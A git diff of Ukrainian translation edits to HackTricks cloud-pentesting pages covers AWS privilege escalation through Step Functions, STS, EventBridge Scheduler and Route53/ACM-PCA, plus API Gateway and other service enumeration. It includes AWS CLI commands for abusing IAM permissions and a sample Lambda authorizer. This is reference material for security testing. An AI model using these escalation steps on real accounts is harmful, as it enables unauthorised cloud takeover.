@@ aws states start-sync-execution --state-machine-arn [--name ] [-- } } ``` -- **Команда** виконана для **створення машини станів**: +- **Команда**, виконана для **створення машини станів**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { @@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition "creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` -- **Команда** виконана для **початку виконання** раніше створеної машини станів: +- **Команда**, виконана для **початку виконання** раніше створеної машини станів: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { @@ -140,10 +140,10 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 Атакуючий з дозволом **`states:UpdateStateMachine`** зможе змінити визначення машини станів, маючи можливість додати додаткові приховані стани, які можуть призвести до ескалації привілеїв. Таким чином, коли легітимний користувач запускає виконання машини станів, цей новий шкідливий прихований стан буде виконано, і ескалація привілеїв буде успішною. -Залежно від того, наскільки дозволяючою є роль IAM, асоційована з машиною станів, атакуючий зіткнеться з 2 ситуаціями: +Залежно від того, наскільки дозволяючим є IAM Роль, асоційований з машиною станів, атакуючий зіткнеться з 2 ситуаціями: -1. **Дозволяюча роль IAM**: Якщо роль IAM, асоційована з машиною станів, вже є дозволяючою (вона має, наприклад, прикріплену політику **`arn:aws:iam::aws:policy/AdministratorAccess`**), тоді дозвіл **`iam:PassRole`** не буде необхідним для ескалації привілеїв, оскільки не буде необхідності також оновлювати роль IAM, визначення машини станів буде достатнім. -2. **Недозволяюча роль IAM**: На відміну від попереднього випадку, тут атакуючий також вимагатиме дозвіл **`iam:PassRole`**, оскільки буде необхідно асоціювати дозволяючу роль IAM з машиною станів, крім того, щоб змінити визначення машини станів. +1. **Дозволяючий IAM Роль**: Якщо IAM Роль, асоційований з машиною станів, вже є дозволяючим (наприклад, має прикріплену політику **`arn:aws:iam::aws:policy/AdministratorAccess`**), тоді дозвіл **`iam:PassRole`** не буде необхідним для ескалації привілеїв, оскільки не буде необхідності також оновлювати IAM Роль, з визначенням машини станів буде достатньо. +2. **Недозволяючий IAM Роль**: На відміну від попереднього випадку, тут атакуючий також вимагатиме дозвіл **`iam:PassRole`**, оскільки буде необхідно асоціювати дозволяючий IAM Роль з машиною станів на додаток до зміни визначення машини станів. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 738ea7fb2..e9b6ec2d8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -23,11 +23,11 @@ ] } ``` -Ви можете видавати себе за роль, виконавши: +Ви можете видавати себе за роль, яка виконується: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` -**Потенційний вплив:** Привілейоване підвищення до ролі. +**Потенційний вплив:** Привласнення прав до ролі. > [!CAUTION] > Зверніть увагу, що в цьому випадку дозвіл `sts:AssumeRole` потрібно **вказати в ролі для зловживання** і не в політиці, що належить атакуючому.\ @@ -39,7 +39,7 @@ aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ```bash aws sts get-federation-token --name ``` -Це те, як цю дозволу можна надати безпечно, не надаючи доступу до імітації інших користувачів: +Ось як ці дозволи можуть бути надані безпечно, не надаючи доступу до імітації інших користувачів: ```json { "Version": "2012-10-17", @@ -82,7 +82,7 @@ aws sts get-federation-token --name ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` -Але **постачальники** можуть мати **свої інструменти**, щоб спростити це, такі як [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): +Але **постачальники** можуть мати **власні інструменти** для спрощення цього, такі як [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index b05c5aaf6..5329ac4cf 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -15,7 +15,7 @@ # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:DescribeActivities`)` Файли можуть містити чутливу інформацію, прочитайте їх: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index afb4fcc3a..1a95915af 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -12,7 +12,7 @@ ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -Зловмисник з цими дозволами зможе **`створити`|`оновити` розклад і зловживати дозволами ролі розкладу**, що прикріплена до нього, щоб виконати будь-яку дію +Зловмисник з цими дозволами зможе **`створити`|`оновити` розклад і зловживати дозволами ролі розкладу**, що прикріплена до нього, для виконання будь-якої дії Наприклад, вони можуть налаштувати розклад для **виклику функції Lambda**, що є шаблонною дією: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index 526efaea6..dd3852420 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -11,21 +11,21 @@ ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` > [!NOTE] -> Щоб виконати цю атаку, цільовий обліковий запис повинен вже мати [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** налаштований в обліковому записі, а EC2 інстанси у VPC(ах) повинні вже імпортувати сертифікати для довіри до нього. З цією інфраструктурою можна виконати наступну атаку для перехоплення трафіку AWS API. +> Щоб виконати цю атаку, цільовий обліковий запис повинен вже мати налаштований [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**, а EC2 інстанси у VPC(ах) повинні вже імпортувати сертифікати для довіри до нього. З цією інфраструктурою можна виконати наступну атаку для перехоплення трафіку AWS API. Інші дозволи **рекомендуються, але не є обов'язковими для частини перерахування**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -Припустимо, що є AWS VPC з кількома хмарними додатками, які спілкуються один з одним і з AWS API. Оскільки зв'язок між мікросервісами часто шифрується за допомогою TLS, має бути приватний CA для видачі дійсних сертифікатів для цих сервісів. **Якщо використовується ACM-PCA** для цього, і супротивник отримує **доступ до контролю як route53, так і acm-pca приватного CA** з мінімальним набором дозволів, описаних вище, він може **перехопити виклики додатків до AWS API**, взявши на себе їх IAM дозволи. +Припустимо, що є AWS VPC з кількома хмарними додатками, які спілкуються один з одним і з AWS API. Оскільки зв'язок між мікросервісами часто шифрується за допомогою TLS, має бути приватний CA для видачі дійсних сертифікатів для цих сервісів. **Якщо використовується ACM-PCA** для цього, і противник отримує **доступ до контролю як route53, так і acm-pca приватного CA** з мінімальним набором дозволів, описаних вище, він може **перехопити виклики додатків до AWS API**, взявши на себе їх IAM дозволи. Це можливо, оскільки: - AWS SDK не має [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) - Route53 дозволяє створювати приватні хостингові зони та DNS записи для доменних імен AWS API -- Приватний CA в ACM-PCA не може бути обмежений лише підписанням сертифікатів для конкретних загальних імен +- Приватний CA в ACM-PCA не може бути обмежений підписанням лише сертифікатів для конкретних загальних імен **Потенційний вплив:** Непряме підвищення привілеїв шляхом перехоплення чутливої інформації в трафіку. -#### Використання +#### Експлуатація Знайдіть кроки експлуатації в оригінальному дослідженні: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index 06aa2a73e..b05b60b72 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -1,31 +1,31 @@ -# AWS - Services +# AWS - Сервіси {{#include ../../../banners/hacktricks-training.md}} -## Types of services +## Типи сервісів -### Container services +### Контейнерні сервіси -Services that fall under container services have the following characteristics: +Сервіси, що підпадають під контейнерні сервіси, мають такі характеристики: -- The service itself runs on **окремих інфраструктурних екземплярах**, such as EC2. -- **AWS** is responsible for **управлінням операційною системою та платформою**. -- A managed service is provided by AWS, which is typically the service itself for the **фактичні програми, які розглядаються як контейнери**. -- As a user of these container services, you have a number of management and security responsibilities, including **управлінням безпекою мережевого доступу, такими як правила списку контролю доступу до мережі та будь-які брандмауери**. -- Also, platform-level identity and access management where it exists. -- **Приклади** AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. +- Сам сервіс працює на **окремих інфраструктурних інстансах**, таких як EC2. +- **AWS** відповідає за **управління операційною системою та платформою**. +- Керований сервіс надається AWS, який зазвичай є самим сервісом для **фактичних додатків, які розглядаються як контейнери**. +- Як користувач цих контейнерних сервісів, ви маєте ряд обов'язків з управління та безпеки, включаючи **управління безпекою доступу до мережі, такими як правила списків контролю доступу до мережі та будь-які брандмауери**. +- Також, управління ідентифікацією та доступом на рівні платформи, де це існує. +- **Приклади** контейнерних сервісів AWS включають Relational Database Service, Elastic Mapreduce та Elastic Beanstalk. -### Abstract Services +### Абстрактні сервіси -- These services are **відокремлені, абстраговані, від платформи або управлінського рівня, на якому побудовані хмарні програми**. -- The services are accessed via endpoints using AWS application programming interfaces, APIs. -- The **базова інфраструктура, операційна система та платформа управляються AWS**. -- The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared. +- Ці сервіси є **віддаленими, абстрагованими, від платформи або управлінського рівня, на якому побудовані хмарні додатки**. +- Сервіси доступні через кінцеві точки за допомогою API програмування додатків AWS. +- **Основна інфраструктура, операційна система та платформа управляються AWS**. +- Абстраговані сервіси надають платформу з багатокористувацьким доступом, на якій основна інфраструктура є спільною. - **Дані ізольовані за допомогою механізмів безпеки**. -- Abstract services have a strong integration with IAM, and **приклади** abstract services include S3, DynamoDB, Amazon Glacier, and SQS. +- Абстрактні сервіси мають сильну інтеграцію з IAM, а **приклади** абстрактних сервісів включають S3, DynamoDB, Amazon Glacier та SQS. -## Services Enumeration +## Перерахування сервісів -**Сторінки цього розділу впорядковані за сервісами AWS. У них ви зможете знайти інформацію про сервіс (як він працює та його можливості), що дозволить вам підвищити привілеї.** +**Сторінки цього розділу впорядковані за сервісами AWS. Тут ви зможете знайти інформацію про сервіс (як він працює та можливості), що дозволить вам підвищити привілеї.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index f2375dff5..bf8a0513d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -4,36 +4,36 @@ ## API Gateway -### Basic Information +### Основна інформація -AWS API Gateway - це комплексна служба, що пропонується Amazon Web Services (AWS), призначена для розробників, щоб **створювати, публікувати та контролювати API в масштабах**. Вона функціонує як точка входу до програми, дозволяючи розробникам встановлювати набір правил і процедур. Ця структура регулює доступ зовнішніх користувачів до певних даних або функціональностей у програмі. +AWS API Gateway - це всебічна служба, що пропонується Amazon Web Services (AWS), призначена для розробників, щоб **створювати, публікувати та контролювати API в масштабах**. Вона функціонує як точка входу до програми, дозволяючи розробникам встановлювати набір правил і процедур. Ця структура регулює доступ зовнішніх користувачів до певних даних або функціональностей у програмі. -API Gateway дозволяє вам визначити, **як повинні оброблятися запити до ваших API**, і може створювати користувацькі кінцеві точки API з конкретними методами (наприклад, GET, POST, PUT, DELETE) та ресурсами. Вона також може генерувати клієнтські SDK (набори засобів розробки програмного забезпечення), щоб спростити розробникам виклик ваших API з їхніх програм. +API Gateway дозволяє вам визначити, **як повинні оброблятися запити до ваших API**, і може створювати користувацькі кінцеві точки API з конкретними методами (наприклад, GET, POST, PUT, DELETE) та ресурсами. Вона також може генерувати клієнтські SDK (набори засобів розробки програмного забезпечення), щоб спростити розробникам виклики ваших API з їхніх програм. -### API Gateways Types +### Типи API Gateway - **HTTP API**: Створюйте API REST з низькою затримкою та економічними витратами з вбудованими функціями, такими як OIDC та OAuth2, а також нативною підтримкою CORS. Працює з наступними: Lambda, HTTP backends. - **WebSocket API**: Створюйте WebSocket API, використовуючи постійні з'єднання для реальних випадків використання, таких як чат-додатки або інформаційні панелі. Працює з наступними: Lambda, HTTP, AWS Services. - **REST API**: Розробляйте REST API, де ви отримуєте повний контроль над запитом і відповіддю разом із можливостями управління API. Працює з наступними: Lambda, HTTP, AWS Services. - **REST API Private**: Створіть REST API, який доступний лише зсередини VPC. -### API Gateway Main Components +### Основні компоненти API Gateway -1. **Resources**: У API Gateway ресурси - це компоненти, які **складають структуру вашого API**. Вони представляють **різні шляхи або кінцеві точки** вашого API і відповідають різним діям, які підтримує ваш API. Ресурс - це кожен метод (наприклад, GET, POST, PUT, DELETE) **всередині кожного шляху** (/, або /users, або /user/{id}). -2. **Stages**: Стадії в API Gateway представляють **різні версії або середовища** вашого API, такі як розробка, тестування або продуктивність. Ви можете використовувати стадії для управління та розгортання **декількох версій вашого API одночасно**, що дозволяє вам тестувати нові функції або виправлення помилок без впливу на продуктивне середовище. Стадії також **підтримують змінні стадії**, які є парами ключ-значення, що можуть використовуватися для налаштування поведінки вашого API в залежності від поточної стадії. Наприклад, ви можете використовувати змінні стадії, щоб направляти запити API до різних функцій Lambda або інших служб бекенду в залежності від стадії. +1. **Ресурси**: У API Gateway ресурси - це компоненти, які **складають структуру вашого API**. Вони представляють **різні шляхи або кінцеві точки** вашого API і відповідають різним діям, які підтримує ваш API. Ресурс - це кожен метод (наприклад, GET, POST, PUT, DELETE) **всередині кожного шляху** (/, або /users, або /user/{id}). +2. **Стадії**: Стадії в API Gateway представляють **різні версії або середовища** вашого API, такі як розробка, тестування або продуктивність. Ви можете використовувати стадії для управління та розгортання **декількох версій вашого API одночасно**, що дозволяє вам тестувати нові функції або виправлення помилок без впливу на продуктивне середовище. Стадії також **підтримують змінні стадії**, які є парами ключ-значення, що можуть використовуватися для налаштування поведінки вашого API залежно від поточної стадії. Наприклад, ви можете використовувати змінні стадії, щоб направляти запити API до різних функцій Lambda або інших служб бекенду в залежності від стадії. - Стадія вказується на початку URL кінцевої точки API Gateway. -3. **Authorizers**: Авторизатори в API Gateway відповідають за **контроль доступу до вашого API**, перевіряючи особу виклику перед тим, як дозволити запит. Ви можете використовувати **функції AWS Lambda** як користувацькі авторизатори, що дозволяє вам реалізувати власну логіку аутентифікації та авторизації. Коли надходить запит, API Gateway передає токен авторизації запиту авторизатору Lambda, який обробляє токен і повертає політику IAM, що визначає, які дії дозволено виконувати виклику. API Gateway також підтримує **вбудовані авторизатори**, такі як **AWS Identity and Access Management (IAM)** та **Amazon Cognito**. -4. **Resource Policy**: Політика ресурсу в API Gateway - це документ JSON, який **визначає дозволи для доступу до вашого API**. Вона подібна до політики IAM, але спеціально адаптована для API Gateway. Ви можете використовувати політику ресурсу, щоб контролювати, хто може отримати доступ до вашого API, які методи вони можуть викликати та з яких IP-адрес або VPC вони можуть підключатися. **Політики ресурсів можуть використовуватися в поєднанні з авторизаторами** для надання детального контролю доступу до вашого API. +3. **Авторизатори**: Авторизатори в API Gateway відповідають за **контроль доступу до вашого API**, перевіряючи особу виклику перед тим, як дозволити запиту продовжити. Ви можете використовувати **функції AWS Lambda** як користувацькі авторизатори, що дозволяє вам реалізувати власну логіку аутентифікації та авторизації. Коли запит надходить, API Gateway передає токен авторизації запиту авторизатору Lambda, який обробляє токен і повертає політику IAM, що визначає, які дії може виконувати викликач. API Gateway також підтримує **вбудовані авторизатори**, такі як **AWS Identity and Access Management (IAM)** та **Amazon Cognito**. +4. **Політика ресурсу**: Політика ресурсу в API Gateway - це документ JSON, який **визначає дозволи для доступу до вашого API**. Вона подібна до політики IAM, але спеціально адаптована для API Gateway. Ви можете використовувати політику ресурсу, щоб контролювати, хто може отримати доступ до вашого API, які методи вони можуть викликати і з яких IP-адрес або VPC вони можуть підключатися. **Політики ресурсів можуть використовуватися в поєднанні з авторизаторами** для надання детального контролю доступу до вашого API. - Щоб зміни набрали чинності, API потрібно **знову розгорнути після** зміни політики ресурсу. -### Logging +### Логування -За замовчуванням **CloudWatch Logs** **вимкнено**, **Access Logging** **вимкнено**, а **X-Ray tracing** також **вимкнено**. +За замовчуванням **CloudWatch Logs** вимкнено, **Access Logging** вимкнено, а **X-Ray tracing** також вимкнено. -### Enumeration +### Перерахування > [!TIP] -> Зверніть увагу, що в обох API AWS для перерахунку ресурсів (**`apigateway`** та **`apigatewayv2`**) єдине дозволення, яке вам потрібно, і єдине дозволення на читання, яке можна надати, - це **`apigateway:GET`**, з цим ви можете **перерахувати все.** +> Зверніть увагу, що в обох AWS API для перерахування ресурсів (**`apigateway`** та **`apigatewayv2`**) єдиний дозвіл, який вам потрібен, і єдиний дозвіл на читання, який можна надати, - це **`apigateway:GET`**, з цим ви можете **перерахувати все.** {{#tabs }} {{#tab name="apigateway" }} @@ -141,7 +141,7 @@ https://.execute-api..amazonaws.com// Коли це встановлено, ви отримаєте помилку `{"message":"Missing Authentication Token"}`, коли спробуєте досягти кінцевої точки без будь-якої авторизації. -Один простий спосіб згенерувати очікуваний токен додатком - це використати **curl**. +Один із простих способів згенерувати очікуваний токен додатком - це використати **curl**. ```bash $ curl -X https://.execute-api..amazonaws.com// --user : --aws-sigv4 "aws:amz::execute-api" ``` @@ -157,7 +157,7 @@ AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/ ``` Зверніть увагу, що в інших випадках **Authorizer** міг бути **погано закодований**, і просто відправка **будь-чого** в **Authorization header** дозволить **побачити прихований контент**. -### Request Signing Using Python +### Підписування запитів за допомогою Python ```python pip install requests @@ -184,14 +184,14 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` -### Custom Lambda Authorizer +### Кастомний авторизатор Lambda -Можливо використовувати лямбду, яка на основі даного токена **поверне IAM політику**, що вказує, чи користувач **уповноважений викликати API кінцеву точку**.\ +Можливо використовувати lambda, яка на основі даного токена **поверне IAM політику**, що вказує, чи користувач **уповноважений викликати API-ендпоінт**.\ Ви можете налаштувати кожен метод ресурсу, який буде використовувати авторизатор.
-Lambda Authorizer Code Example +Приклад коду авторизатора Lambda ```python import json @@ -236,7 +236,7 @@ return policy ```
-Call it with something like: +Викличте це з чимось на кшталт:
curl "https://jhhqafgh6f.execute-api.eu-west-1.amazonaws.com/prod/custom_auth" -H 'Authorization: your-secret-token'
 
@@ -244,19 +244,19 @@ Call it with something like: > [!WARNING] > Залежно від коду Lambda, ця авторизація може бути вразливою -Зверніть увагу, що якщо **генерується і повертається політика заборони**, помилка, повернена API Gateway, виглядає так: `{"Message":"User is not authorized to access this resource with an explicit deny"}` +Зверніть увагу, що якщо **генерується і повертається політика відмови**, помилка, повернена API Gateway, виглядає так: `{"Message":"User is not authorized to access this resource with an explicit deny"}` Таким чином, ви могли б **виявити цю авторизацію**. ### Необхідний API ключ -Можна налаштувати API кінцеві точки, які **вимагають дійсний API ключ** для зв'язку з ними. +Можливо налаштувати API кінцеві точки, які **вимагають дійсний API ключ** для зв'язку з ними.
-Можна генерувати API ключі в порталі API Gateway і навіть налаштувати, скільки разів їх можна використовувати (в термінах запитів на секунду та в термінах запитів на місяць). +Можливо генерувати API ключі в порталі API Gateway і навіть налаштувати, скільки разів їх можна використовувати (в термінах запитів на секунду та в термінах запитів на місяць). -Щоб API ключ працював, потрібно додати його до **Плану використання**, цей план використання повинен бути доданий до **Стадії API**, а асоційована стадія API повинна мати налаштоване **обмеження методів** для **кінцевої точки**, що вимагає API ключа: +Щоб API ключ працював, вам потрібно додати його до **Плану використання**, цей план використання повинен бути доданий до **API Стадії**, а асоційована API стадія повинна мати налаштоване **обмеження методів** для **кінцевої точки**, що вимагає API ключа:
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index 89d8588cb..06b31bc62 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -6,7 +6,7 @@ **AWS Certificate Manager (ACM)** надається як сервіс, спрямований на спрощення **надання, управління та розгортання SSL/TLS сертифікатів** для сервісів AWS та внутрішніх ресурсів. Необхідність у ручних процесах, таких як купівля, завантаження та поновлення сертифікатів, **усунена** завдяки ACM. Це дозволяє користувачам ефективно запитувати та впроваджувати сертифікати на різних ресурсах AWS, включаючи **Elastic Load Balancers, Amazon CloudFront distributions та APIs на API Gateway**. -Ключовою особливістю ACM є **автоматичне поновлення сертифікатів**, що значно зменшує витрати на управління. Крім того, ACM підтримує створення та централізоване управління **приватними сертифікатами для внутрішнього використання**. Хоча SSL/TLS сертифікати для інтегрованих сервісів AWS, таких як Elastic Load Balancing, Amazon CloudFront та Amazon API Gateway, надаються безкоштовно через ACM, користувачі несуть відповідальність за витрати, пов'язані з ресурсами AWS, які використовуються їхніми додатками, а також за щомісячну плату за кожну **приватну сертифікаційну установу (CA)** та приватні сертифікати, які використовуються поза інтегрованими сервісами ACM. +Ключовою особливістю ACM є **автоматичне поновлення сертифікатів**, що значно зменшує витрати на управління. Крім того, ACM підтримує створення та централізоване управління **приватними сертифікатами для внутрішнього використання**. Хоча SSL/TLS сертифікати для інтегрованих сервісів AWS, таких як Elastic Load Balancing, Amazon CloudFront та Amazon API Gateway, надаються безкоштовно через ACM, користувачі несуть відповідальність за витрати, пов'язані з ресурсами AWS, які використовуються їхніми додатками, а також за щомісячну плату за кожну **приватну Certificate Authority (CA)** та приватні сертифікати, що використовуються поза інтегрованими сервісами ACM. **AWS Private Certificate Authority** пропонується як **керований сервіс приватної CA**, що розширює можливості ACM, включаючи управління сертифікатами приватних сертифікатів. Ці приватні сертифікати є важливими для аутентифікації ресурсів в організації. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index fe675a12d..dbbd09ebd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,7 +4,7 @@ ## CloudFormation -AWS CloudFormation — це сервіс, призначений для **спрощення управління ресурсами AWS**. Він дозволяє користувачам більше зосереджуватися на своїх додатках, що працюють в AWS, **мінімізуючи час, витрачений на управління ресурсами**. Основною функцією цього сервісу є **шаблон** — описова модель бажаних ресурсів AWS. Після надання цього шаблону CloudFormation відповідає за **постачання та налаштування** вказаних ресурсів. Ця автоматизація сприяє більш ефективному та безпомилковому управлінню інфраструктурою AWS. +AWS CloudFormation - це сервіс, призначений для **оптимізації управління ресурсами AWS**. Він дозволяє користувачам більше зосереджуватися на своїх додатках, що працюють в AWS, **мінімізуючи час, витрачений на управління ресурсами**. Основною функцією цього сервісу є **шаблон** — описова модель бажаних ресурсів AWS. Після надання цього шаблону CloudFormation відповідає за **постачання та налаштування** вказаних ресурсів. Ця автоматизація сприяє більш ефективному та безпомилковому управлінню інфраструктурою AWS. ### Enumeration ```bash @@ -58,7 +58,7 @@ aws codestar describe-user-profile --user-arn ``` ### Privesc -На наступній сторінці ви можете перевірити, як **зловживати дозволами codestar для ескалації привілеїв**: +На наступній сторінці ви можете перевірити, як **зловживати правами codestar для ескалації привілеїв**: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 312cc7887..5d8748554 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,9 +4,9 @@ ## CloudFront -CloudFront є **мережею доставки контенту AWS, яка прискорює розповсюдження** вашого статичного та динамічного контенту через свою всесвітню мережу крайових локацій. Коли ви використовуєте запит на контент, який ви хостите через Amazon CloudFront, запит маршрутизується до найближчої крайової локації, що забезпечує найнижчу затримку для досягнення найкращої продуктивності. Коли **журнали доступу CloudFront** увімкнені, ви можете записувати запити від кожного користувача, який запитує доступ до вашого веб-сайту та розповсюдження. Як і з журналами доступу S3, ці журнали також **зберігаються на Amazon S3 для надійного та постійного зберігання**. За увімкнення журналювання самі журнали не підлягають оплаті, однак, оскільки журнали зберігаються в S3, вам буде нараховано плату за використане зберігання S3. +CloudFront - це **мережа доставки контенту AWS, яка прискорює розповсюдження** вашого статичного та динамічного контенту через свою всесвітню мережу крайових локацій. Коли ви використовуєте запит на контент, який ви хостите через Amazon CloudFront, запит маршрутизується до найближчої крайової локації, що забезпечує найнижчу затримку для досягнення найкращої продуктивності. Коли **журнали доступу CloudFront** увімкнені, ви можете записувати запити від кожного користувача, який запитує доступ до вашого веб-сайту та розповсюдження. Як і з журналами доступу S3, ці журнали також **зберігаються на Amazon S3 для надійного та постійного зберігання**. За увімкнення журналювання самі по собі немає зборів, однак, оскільки журнали зберігаються в S3, вам буде нараховано плату за використане зберігання S3. -Файли журналів захоплюють дані протягом певного періоду часу, і залежно від кількості запитів, які отримує Amazon CloudFront для цього розповсюдження, буде залежати кількість згенерованих файлів журналів. Важливо знати, що ці файли журналів не створюються і не записуються на S3. S3 - це просто місце, куди вони доставляються, коли файл журналу заповнений. **Amazon CloudFront зберігає ці журнали, поки вони не будуть готові до доставки в S3**. Знову ж таки, залежно від розміру цих файлів журналів, ця доставка може зайняти **від одного до 24 годин**. +Журнали фіксують дані протягом певного періоду часу, і залежно від кількості запитів, які отримує Amazon CloudFront для цього розповсюдження, буде залежати кількість згенерованих журналів. Важливо знати, що ці журнали не створюються і не записуються на S3. S3 - це просто місце, куди вони доставляються, коли файл журналу заповнений. **Amazon CloudFront зберігає ці журнали, поки вони не готові до доставки в S3**. Знову ж таки, залежно від розміру цих журналів, ця доставка може зайняти **від одного до 24 годин**. **За замовчуванням журналювання cookie вимкнено**, але ви можете його увімкнути. @@ -14,7 +14,7 @@ CloudFront є **мережею доставки контенту AWS, яка п Ви можете створювати функції в CloudFront. Ці функції матимуть свій **кінцевий пункт у cloudfront**, визначений, і виконуватимуть оголошений **NodeJS код**. Цей код буде виконуватися в **пісочниці** на машині, що працює під управлінням AWS (вам знадобиться обхід пісочниці, щоб вийти на базову ОС). -Оскільки функції не виконуються в обліковому записі користувача AWS, жодна роль IAM не прикріплена, тому неможливо безпосередньо використовувати цю функцію для підвищення привілеїв. +Оскільки функції не виконуються в обліковому записі AWS користувача, жодна роль IAM не прикріплена, тому неможливо безпосередньо отримати привілеї, зловживаючи цією функцією. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index ffddc7519..670ae674a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -2,34 +2,34 @@ {{#include ../../../banners/hacktricks-training.md}} -## HSM - Модуль апаратної безпеки +## HSM - Hardware Security Module -Cloud HSM - це апаратний пристрій, що відповідає стандарту FIPS 140 рівня два для безпечного зберігання криптографічних ключів (зауважте, що CloudHSM є апаратним пристроєм, це не віртуалізована служба). Це пристрій SafeNetLuna 7000 з попередньо завантаженою версією 5.3.13. Є дві версії прошивки, і вибір залежить від ваших конкретних потреб. Одна з них призначена для відповідності FIPS 140-2, а інша - новіша версія, яку можна використовувати. +Cloud HSM є валідованим пристроєм **апаратного забезпечення** рівня FIPS 140 два для безпечного зберігання криптографічних ключів (зауважте, що CloudHSM є апаратним пристроєм, це не віртуалізована служба). Це пристрій SafeNetLuna 7000 з попередньо завантаженою версією 5.3.13. Є дві версії прошивки, і вибір залежить від ваших конкретних потреб. 